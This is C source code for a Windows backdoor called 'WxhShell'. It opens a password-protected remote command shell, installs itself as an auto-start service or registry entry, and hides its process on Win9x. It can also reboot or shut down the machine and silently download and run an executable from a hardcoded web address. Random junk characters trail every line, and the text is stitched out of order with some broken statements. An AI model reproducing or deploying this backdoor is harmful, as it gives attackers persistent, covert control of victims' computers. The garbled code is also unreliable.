    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g-4ab|F  
    else { }4kQu#0o")  
    closesocket(wsh); (W?t'J^#  
    ExitThread(0); Z:YgG.z"  
    } `@{(ijg.  
    break; 0/uy'JvWru  
    } /q) H0b  
  // 获取shell "G@(Cb*+T  
  case 's': { "iUh.c=0F,  
    CmdShell(wsh); Ezr q2/~Q  
    closesocket(wsh); A0bR.*3  
    ExitThread(0); S84S/y  
    break; 0{-?Wy  
  } #X2wy$GTG  
  // 退出 +%Z:k  
  case 'x': { Y~@(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); m;!X{CV  
    CloseIt(wsh); JA4}B wn  
    break; k t+h\^g  
    } S" (Nf+ux  
  // 离开 v7,-Q*  
  case 'q': { >96+s)T%;  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); l[[^]__  
    closesocket(wsh); X6xs@tgQ  
    WSACleanup(); m@2=v q1f  
    exit(1); Y++n0sK5<  
    break; ll*Ez"  
        } }:(;mW8 D  
  } YKzfI9Y  
  } P_)=sj!>-  
1'|gxYT  
  // 提示信息 NdrR+t^#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y$s4 *)%  
} N_d{E/  
  } 2Sk"S/4}Z  
k106fT]eX  
  return; ]~ !CJ8d  
} 5F#FC89Kk  
yT[=!M  
// shell模块句柄 a*uG^~ ).  
int CmdShell(SOCKET sock) 1\nzfxx  
{ O`T_'.Lk  
STARTUPINFO si; s"p\-Z  
ZeroMemory(&si,sizeof(si)); W)8Pq9Hnv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; G!o6Y:1!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4gZ)9ya   
PROCESS_INFORMATION ProcessInfo; \["I.gQ  
char cmdline[]="cmd"; Wl }J=  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4'Y a-x x  
  return 0; taMcm}*T1  
} a)I>Ns)  
N:~4>p44[  
// 自身启动模式 '*^9'=  
int StartFromService(void) "Y@q?ey[1  
{ UhJ!7Ws$  
typedef struct E&f/*V^  
{ PcI~,e%  
  DWORD ExitStatus; <'\!  
  DWORD PebBaseAddress; 7spZe"  
  DWORD AffinityMask; 4*HBCzr7[  
  DWORD BasePriority; N 6> rU  
  ULONG UniqueProcessId; #qv!1$}2  
  ULONG InheritedFromUniqueProcessId; u=Xpu,q  
}   PROCESS_BASIC_INFORMATION; P"o|kRO  
*$Zy|&[Z  
PROCNTQSIP NtQueryInformationProcess; 8U}+9  
I'[;E.KU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Rtlc&Q.b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VP<LY/'f  
QL*RzFAD 3  
  HANDLE             hProcess; _9q byhS7  
  PROCESS_BASIC_INFORMATION pbi; uh% J  
fYpJ2y-sA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); { ft |*  
  if(NULL == hInst ) return 0; | GN/{KH]  
{rn^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N-q6_  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); q$"?P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .`(YCn?\  
.1z=VLKF'  
  if (!NtQueryInformationProcess) return 0; .zTkOk L  
pl$wy}W-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $wDSED -  
  if(!hProcess) return 0; |*M07Hc x  
9e.$x%7j  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &eqqgLz  
w9n0p0xr<  
  CloseHandle(hProcess); T(Bcp^N  
J'tJY% `  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yr?X.Np  
if(hProcess==NULL) return 0; m/,80J8L+f  
 J%T=FU  
HMODULE hMod; oTx>oM,  
char procName[255]; Spin]V  
unsigned long cbNeeded; C ](djkA$  
pG'?>]Rt4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2EYWX! Bx  
!;P[Y"h@r  
  CloseHandle(hProcess); 0d1!Q!PH3  
S!b?pl  
if(strstr(procName,"services")) return 1; // 以服务启动 p.b#RY  
>[:qJ|i%  
  return 0; // 注册表启动 sB$ "mJ  
} _!Pi+l4p/}  
D7m uf  
// 主模块 sH'0utD#Y  
int StartWxhshell(LPSTR lpCmdLine) IiJ$Ng  
{ 3to!C"~\K-  
  SOCKET wsl; J^S!GG'gb  
BOOL val=TRUE; ,X;$-.  
  int port=0; |_QpB?b  
  struct sockaddr_in door; d1D=R8P_u  
W; os4'h$  
  if(wscfg.ws_autoins) Install(); VJl0UM3{J  
0C\cM92o  
port=atoi(lpCmdLine); 2##mVEo.(  
'Yh`B8  
if(port<=0) port=wscfg.ws_port; yu&muCA  
IO ]tO[P#  
  WSADATA data; eW8{ ],B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2aX$7E?  
g3^:)$m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `Q#)N0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); S%B56|'  
  door.sin_family = AF_INET; Ye$; d ~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7G*rxn"d  
  door.sin_port = htons(port); j}`ku9S~  
s@GE(Pu7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 1ox#hQBoS  
closesocket(wsl); ma!C:C9#J  
return 1; Ts3!mjn  
} 7oc Ng  
"] Uj _d  
  if(listen(wsl,2) == INVALID_SOCKET) { ~b0l?P*Ff  
closesocket(wsl); f8V )nM+v"  
return 1; {u9n?Z%  
} hh5h \ZI%  
  Wxhshell(wsl); 4\k{E-x $  
  WSACleanup(); m,J IId%O  
:(.:bf  
return 0; 9a_UxF+6/  
_a|g >  
} /q,=!&f2  
H8B2{]HAt  
// 以NT服务方式启动 ;uv$>F auk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) r!w*y3  
{ % tC[q   
DWORD   status = 0; Iza;~8dH5  
  DWORD   specificError = 0xfffffff; SGba6b31  
{P\Ob0)q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; i )$+#N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eibkG  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0>D*d'xLd  
  serviceStatus.dwWin32ExitCode     = 0; F 9d6#~  
  serviceStatus.dwServiceSpecificExitCode = 0; "%S-(ue:  
  serviceStatus.dwCheckPoint       = 0; 9j5|o([J  
  serviceStatus.dwWaitHint       = 0; GoH.0eQ^  
dm40qj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 5wE6gRJ  
  if (hServiceStatusHandle==0) return; nh80"Ny5  
3)9e-@  
status = GetLastError(); %++S;#)~  
  if (status!=NO_ERROR) Da!vGr  
{ q8.Z7ux  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gg8)oc+w  
    serviceStatus.dwCheckPoint       = 0; y4aT-^C'  
    serviceStatus.dwWaitHint       = 0; %e)vl[:}  
    serviceStatus.dwWin32ExitCode     = status; Y,EF'Ot  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;]=@;? 9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JUXBMYFus  
    return; !0|&f>y  
  } :#_k`{WG  
#7]>ozKm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r'_#rl  
  serviceStatus.dwCheckPoint       = 0; 2 e#"JZ=  
  serviceStatus.dwWaitHint       = 0; gB+CM? LKq  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); $}5M`p\&C  
} ;-l^X%r  
1vCp<D9<  
// 处理NT服务事件,比如:启动、停止 g>'6"p;  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6 b?K-)kL  
{ "LW\osjen  
switch(fdwControl) ,KF>@3f  
{ zf5%|7o  
case SERVICE_CONTROL_STOP: SB5qm?pT8<  
  serviceStatus.dwWin32ExitCode = 0; 20}]b* C}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; H4{7,n  
  serviceStatus.dwCheckPoint   = 0; &e#pL`N  
  serviceStatus.dwWaitHint     = 0; UEm4):/}  
  { ,I+O;B:0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 30(e6T;   
  } D+oV( Pw,  
  return; -;RAW1]}Y$  
case SERVICE_CONTROL_PAUSE: gvo5^O+)HH  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; uH7rt  
  break; >yqEXx5{  
case SERVICE_CONTROL_CONTINUE: jGJf[:M&Pm  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; +9' )G-`qj  
  break; pCa~:q*85  
case SERVICE_CONTROL_INTERROGATE: rq1~%S  
  break; 6& hiW]Adm  
}; 7Wiwnv_"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O8rd*+  
} |Xd& aQ  
sk0/3X*Q%  
// 标准应用程序主函数 vp d!|/  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) g u' +kw  
{ 7)Tix7:9S;  
#^ .G^d(=  
// 获取操作系统版本 `ZP[-:`  
OsIsNt=GetOsVer(); t*6C?zEAU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2(e;pM2Dq  
=&qfmq  
  // 从命令行安装 ANj%q9e!Yi  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2"P1I  
qEdY]t   
  // 下载执行文件 h\Zh^B6J  
if(wscfg.ws_downexe) { NA/Sv"7om  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3=UufI  
  WinExec(wscfg.ws_filenam,SW_HIDE); iU~d2R+  
} <8Z%'C6d  
"/UPq6  
if(!OsIsNt) { M$f_I +  
// 如果时win9x,隐藏进程并且设置为注册表启动 rfZg  
HideProc(); ^BI&-bR@  
StartWxhshell(lpCmdLine); 9+5F(pd(  
} c]z^(:_>  
else Ml +f3#HP  
  if(StartFromService()) 8 -b~p  
  // 以服务方式启动 6G-XZko~a  
  StartServiceCtrlDispatcher(DispatchTable); K+yi_n L  
else p{SIGpbR&  
  // 普通方式启动 Esg:  
  StartWxhshell(lpCmdLine); 2elj@EB,M  
F[.IF5_  
return 0; +s [_ 4  
} soKR*gJ,  
m^)\P?M5|  
fKuaom9  
ypfjF@OT  
=========================================== )_kEy>YscZ  
4L,&a+)  
b~8&P_  
CyB1`&G>  
U[#q"'P|l  
$.B}zY{  
" ~ r$I&8  
_qQo}|/q  
#include <stdio.h> :n x;~f  
#include <string.h> SBw'z(U  
#include <windows.h> _,-\;  
#include <winsock2.h> [~Z#yEiW^  
#include <winsvc.h> _tO2PI L@Z  
#include <urlmon.h> r&L1jT.  
Vr&v:8:wb  
#pragma comment (lib, "Ws2_32.lib") pcm1IwR`  
#pragma comment (lib, "urlmon.lib") qEkhgJqk  
Ac[;S!R  
#define MAX_USER   100 // 最大客户端连接数 x_H"<-By  
#define BUF_SOCK   200 // sock buffer [Kbna>`  
#define KEY_BUFF   255 // 输入 buffer O9p^P%U"  
0upZ4eN  
#define REBOOT     0   // 重启 , -Lv3  
#define SHUTDOWN   1   // 关机 |:SXN4';?  
i'#%t/ u  
#define DEF_PORT   5000 // 监听端口 8mX:*$qm:  
Io_7  
#define REG_LEN     16   // 注册表键长度 F#efs6{  
#define SVC_LEN     80   // NT服务名长度 qEjsAL  
CR|>?9V  
// 从dll定义API `R$bx 64  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {Z[kvXf"mZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ):Ekf2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s: MJ{r(s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $5>x)jr:w+  
,z0E2  
// wxhshell配置信息 :/NP8$~@j  
struct WSCFG { bHHR^*B  
  int ws_port;         // 监听端口 9x9E+DG#(  
  char ws_passstr[REG_LEN]; // 口令 +Pn`AV1  
  int ws_autoins;       // 安装标记, 1=yes 0=no jg3['hTJT  
  char ws_regname[REG_LEN]; // 注册表键名 %,)Xi  
  char ws_svcname[REG_LEN]; // 服务名  q0\$wI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9Mv4=k^7|4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9893{}\cB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +T7FG_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no .>( qZEF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" E95VR?nUg  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]m^ECA$  
.MRLA G  
}; iWn7vv/t  
It^_?oiK  
// default Wxhshell configuration F=kiYa}  
struct WSCFG wscfg={DEF_PORT, ;nf}O87~  
    "xuhuanlingzhe", JhB$s  
    1, h6(L22Hn  
    "Wxhshell", .O.fD  
    "Wxhshell", WJ]g7!Ks  
            "WxhShell Service", E __A1j*gd  
    "Wrsky Windows CmdShell Service", 83"C~xe?p4  
    "Please Input Your Password: ", hM`*- +Zb  
  1, 5{8,+ Z  
  "http://www.wrsky.com/wxhshell.exe", <NMOs"NB  
  "Wxhshell.exe" C6b(\#g(  
    }; Xec U&  
_Hq)mF  
// 消息定义模块 gr$H?|n l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .s@[-! p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #.\X% !  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; K+c>Cj}H  
char *msg_ws_ext="\n\rExit."; ;4]l P  
char *msg_ws_end="\n\rQuit."; (%;D& ~%o  
char *msg_ws_boot="\n\rReboot..."; ]5J*UZ}  
char *msg_ws_poff="\n\rShutdown..."; i{/nHrN  
char *msg_ws_down="\n\rSave to "; woK?td|/  
7PI|~Ifi  
char *msg_ws_err="\n\rErr!"; g/soop\:  
char *msg_ws_ok="\n\rOK!"; y|Zj M  
2c<phmiK  
char ExeFile[MAX_PATH]; *r]#jY4qx  
int nUser = 0; ~wRozV  
HANDLE handles[MAX_USER]; [ x|{VJ(h  
int OsIsNt; &,`P%a&k  
&Lgi  
SERVICE_STATUS       serviceStatus; Eh f{Kl  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V?cUQghHg  
=p';y&   
// 函数声明 pG:)u cj  
int Install(void); u@zBE? g  
int Uninstall(void); -^7n+ QX  
int DownloadFile(char *sURL, SOCKET wsh); zL3'',Ha  
int Boot(int flag); doaqHri\,  
void HideProc(void); tt>=Vt '  
int GetOsVer(void); meV RdQ  
int Wxhshell(SOCKET wsl); _26F[R1><~  
void TalkWithClient(void *cs); ktKT=(F&  
int CmdShell(SOCKET sock); bwh.ekf8  
int StartFromService(void); qT L@N9  
int StartWxhshell(LPSTR lpCmdLine); GQ9g$&T  
D<cHa |  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); V]9 ?9-r  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3bPvL/\Lb  
'H,l\i@"  
// 数据结构和表定义 KcjP39@I  
SERVICE_TABLE_ENTRY DispatchTable[] = I*K~GXWs#  
{ DavG=kvd  
{wscfg.ws_svcname, NTServiceMain}, `_v|O{DC{  
{NULL, NULL} ^UK6q2[  
}; x_5H_! \#  
sxLq'3(  
// 自我安装 !P0Oq)q  
int Install(void) |bz,cvlP W  
{ +<H)DPG<  
  char svExeFile[MAX_PATH]; -.E<~(fad  
  HKEY key; hw&R .F  
  strcpy(svExeFile,ExeFile); *l^%7W rk  
4<&`\<jZ  
// 如果是win9x系统,修改注册表设为自启动 qcfLA~y  
if(!OsIsNt) { _ #+~#U%5n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Kq';[Yc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s0"1W"7vh  
  RegCloseKey(key); !(Y23w*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #X"eg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DP9hvu/85  
  RegCloseKey(key); &u_f:Pog  
  return 0; uIvE~<  
    } [?hc.COE  
  } o3l_&?^  
} Xu:S h<:R  
else { MLcc   
3l 0>  
// 如果是NT以上系统,安装为系统服务 m>6,{g)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); pemb2HQ'4j  
if (schSCManager!=0) S0Y$$r  
{ nV%1/e"5  
  SC_HANDLE schService = CreateService BS;_l"?  
  ( b#^UP  
  schSCManager, ~V"D|U;i +  
  wscfg.ws_svcname, .~6p/fHX  
  wscfg.ws_svcdisp, DO$jX 4  
  SERVICE_ALL_ACCESS, Dw^d!%Ala  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]|[oL6"  
  SERVICE_AUTO_START, ;Z"6ve4  
  SERVICE_ERROR_NORMAL, ;p#)z/zZ  
  svExeFile, MI@id  
  NULL, T)]5k3{  
  NULL, Pz1pEyuL  
  NULL, 2, ` =i  
  NULL, 0> m-J  
  NULL aQaO.K2  
  ); u%S&EuX  
  if (schService!=0) \0m[Ch}~ey  
  { 70L{u+wIy  
  CloseServiceHandle(schService); </|IgN$w`  
  CloseServiceHandle(schSCManager); *O|Z[>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); W9?Vh{w  
  strcat(svExeFile,wscfg.ws_svcname); T'l >$6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {ls$#a+d  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^~2GhveBV  
  RegCloseKey(key); 0t1WvW  
  return 0; )sVz;rF<  
    } 5/Q^p"  
  } V 3-5:z  
  CloseServiceHandle(schSCManager); b$+.}&M  
} 0Q=4{*:?  
} R$=UJ}>  
w Maib3Q  
return 1; fNc3&=]]  
} k9.2*+vvg  
|jniI(  
// 自我卸载 [|\~-6"7N|  
int Uninstall(void) 41WnKz9c  
{ B`} ?rp  
  HKEY key; .S17O}  
n97A'"'wz  
if(!OsIsNt) { wz5xJ:Tj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { keEyE;O}u  
  RegDeleteValue(key,wscfg.ws_regname); [MYd15  
  RegCloseKey(key); eW]K~SPd7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h \b]>q@  
  RegDeleteValue(key,wscfg.ws_regname); B]q &?~  
  RegCloseKey(key); Ym5q#f)|  
  return 0; { D1.  
  } T2 0dZ8{y  
} ]C-hl}iq  
} *?K3jy{  
else { hp!UW  
`ej  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); # &o3[.)9  
if (schSCManager!=0) Q uy5H  
{ |Z<NM#1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); `(?E-~#'  
  if (schService!=0) qIa|sV\w0  
  { AxUj CerNf  
  if(DeleteService(schService)!=0) { -#H>kbs  
  CloseServiceHandle(schService); ^ S'}RZ*>  
  CloseServiceHandle(schSCManager); ;GO>#yg4Eh  
  return 0; $6T*\(;T@A  
  } `itaQGLD  
  CloseServiceHandle(schService); Q_xE:#!;  
  } yw2^kk93|  
  CloseServiceHandle(schSCManager); c-!rJHL`  
} T%Vii*?M  
} 1K&z64Q5J  
[J0L7p*6  
return 1; RX%*:lXi_  
} !MNUp(:  
w%)=`'s_  
// 从指定url下载文件 nM1U=Du  
int DownloadFile(char *sURL, SOCKET wsh) BDyOX6  
{ E% Ce/n  
  HRESULT hr; nk]jIR y^T  
char seps[]= "/"; Y(ly0U}  
char *token; r>sk@[4h  
char *file; @!&\Z[",  
char myURL[MAX_PATH]; _=XzQZT!L  
char myFILE[MAX_PATH]; 0Np }O=>  
Ps(3X@  
strcpy(myURL,sURL); CE:TQzg  
  token=strtok(myURL,seps); 8'_>A5L/C  
  while(token!=NULL) ~S15tZ $  
  { .HF+JHIUu  
    file=token; 7\'vSHIL  
  token=strtok(NULL,seps); @;M( oFS9  
  } 9~bje^M  
g= k}6"F~  
GetCurrentDirectory(MAX_PATH,myFILE); i2/:' i  
strcat(myFILE, "\\"); .{LFc|Z[  
strcat(myFILE, file); yv^j~  
  send(wsh,myFILE,strlen(myFILE),0); `h/j3fmX?  
send(wsh,"...",3,0); G eN('0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); qi_[@da f?  
  if(hr==S_OK) {BKu'A  
return 0; 33DP0OBL^  
else ZFNM>C^  
return 1; 2j` x^  
]fI v{[A_  
} \T'uFy9&a  
11}X2j~Ww  
// 系统电源模块 W~k"`g7uu  
int Boot(int flag) Pfu2=2Ra  
{ }x`W+r  
  HANDLE hToken; K?,eIZ{.S  
  TOKEN_PRIVILEGES tkp; g8 ,V( ^  
RyKsM.   
  if(OsIsNt) { V03U"eI="  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); aErms-~  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4<)%Esyb  
    tkp.PrivilegeCount = 1; b"t95qlL  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iXK.QktHw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ao#{N=mn  
if(flag==REBOOT) { s\,F 6c  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) qP6]}Aj]  
  return 0; a H'iW)  
} QpwOrxI}  
else { t/LQ|/xo  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,J"6(nk  
  return 0; EFu2&P  
} &WE|9  
  } j1%o+#df  
  else { d76k1-m\o  
if(flag==REBOOT) { l9"0Wu@_x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CTQF+Oe8O  
  return 0; [URo#  
} hC?:XVt  
else { b[<r+e8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `@q[&^  
  return 0; u~7mH  
} l^w=b~|7=  
} Nl,M9  
xQ9P'ru  
return 1; X:bv ?o>Y  
} ~q4KQ&.!  
%bgjJ`  
// win9x进程隐藏模块 orYE&  
void HideProc(void) #'fh'$5"  
{ t=o0 #jo  
l5QH8eNwME  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x7)j?2  
  if ( hKernel != NULL ) <|[G=GA\S!  
  { 5drc8_fZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); htX;"R&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); DW&%"$2  
    FreeLibrary(hKernel); CRf!tsj@  
  } >=BH$4Ce  
ggtGecKm  
return; ?TA%P6Lw  
} ;= ^kTb`X  
_^;+_6&[  
// 获取操作系统版本 QPB@qx#@  
int GetOsVer(void) 5[}3j1  
{ Osncl5PD)  
  OSVERSIONINFO winfo; 9W88_rE'e}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ".A+'pJ  
  GetVersionEx(&winfo); H6%QM}t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b9Jah  
  return 1; ]Ir{9EE v  
  else ZDuP|" ^  
  return 0; 5S`_q&  
} XG FjqZr`  
oU`8\ n](  
// 客户端句柄模块 ]=\vl>W  
int Wxhshell(SOCKET wsl) ?3 {&"  
{ t&}Z~Zp  
  SOCKET wsh; r8>(ayJ,  
  struct sockaddr_in client; &<hDl<E  
  DWORD myID; ,(&jG^IpVJ  
 uyBmGS2  
  while(nUser<MAX_USER) IlQNo 1  
{ Otq`45  
  int nSize=sizeof(client); z-};.!L^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `2N&{(  
  if(wsh==INVALID_SOCKET) return 1; @a-u_|3q  
C_xO k'091  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); WeyH;P=  
if(handles[nUser]==0) [P~6O>a5p  
  closesocket(wsh); qYo"-D*  
else ZI.;7G@|  
  nUser++; ZS&>%G  
  } f}{ lRk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); *FhD%><  
0kC}qru'  
  return 0; W,<L/ZKJ  
} 4Ufx,]  
?4>uGaU\  
// 关闭 socket '](4g/%  
void CloseIt(SOCKET wsh) T,N"8N{K"  
{ rHe*/nN%*  
closesocket(wsh); 4CAV)  
nUser--; 4Uz1~AuNxb  
ExitThread(0); h1O^~"x  
} )Dn~e#  
V)x(\ls]SX  
// 客户端请求句柄 qkQ _#  
void TalkWithClient(void *cs) E.~;  
{ ,K4*0!TXP  
`"~s<+  
  SOCKET wsh=(SOCKET)cs; Xc)V;1  
  char pwd[SVC_LEN]; %f??O|O3  
  char cmd[KEY_BUFF]; h M{&if  
char chr[1]; 9 {&APxm  
int i,j; ttQX3rmF01  
i>=d7'oR  
  while (nUser < MAX_USER) { dLA'cQId  
Qa*?iD  
if(wscfg.ws_passstr) { _D{zB1d\0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @ qFE6!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K&1o!<|  
  //ZeroMemory(pwd,KEY_BUFF); u=j|']hp#&  
      i=0; j5hM |\]  
  while(i<SVC_LEN) { Mou@G3  
+Smt8O<N  
  // 设置超时 Q2^~^'Y k  
  fd_set FdRead; \1` L-lz  
  struct timeval TimeOut; e|Ip7`  
  FD_ZERO(&FdRead); "F_o%!l  
  FD_SET(wsh,&FdRead); z3F ^OU   
  TimeOut.tv_sec=8; dFdll3bC  
  TimeOut.tv_usec=0; }mGOEG|F2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); X`xI~&t_  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MYVUOd,  
bpe8 `b(#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b1X.#pz7F  
  pwd=chr[0]; PT2b^PP  
  if(chr[0]==0xd || chr[0]==0xa) { "= H.$ +  
  pwd=0; >&uG1q0p.  
  break;  }qf9ra  
  } t<`h(RczHI  
  i++; In1VW|4h  
    } - 0t  
XD1 x*#  
  // 如果是非法用户,关闭 socket iC U [X&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); wLa^pI4p ^  
} bXN-q!  
*~p~IX{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); [w iI  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y&y(<  
fX.V+.rj  
while(1) { ]>utLi5dX  
o;#{N~4[$  
  ZeroMemory(cmd,KEY_BUFF); W@S'mxk#*  
@ mzf(Aq  
      // 自动支持客户端 telnet标准   m~K[+P  
  j=0; HSt|Ua.c/h  
  while(j<KEY_BUFF) { |=OO$z;q|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R=D\VIu,Z  
  cmd[j]=chr[0]; 'WqSHb7  
  if(chr[0]==0xa || chr[0]==0xd) { to0tH^pD  
  cmd[j]=0; %9_wDfw~  
  break; jgiP2k[Xom  
  } !;Mh5*-  
  j++; ETu7G5?  
    } !U02>X   
 KR  
  // 下载文件 Dl862$_Q  
  if(strstr(cmd,"http://")) { WY@x2bBi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 47Y| 1  
  if(DownloadFile(cmd,wsh)) * *?mZtF  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); (wJtEoB9^  
  else ;O YwZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lYd#pNN  
  } M mg#Vy~  
  else { 7R\!'`]\M  
N0s)Nao4  
    switch(cmd[0]) { vcB +h;x  
  &`rV{%N"  
  // 帮助 -`e=u<Y9@  
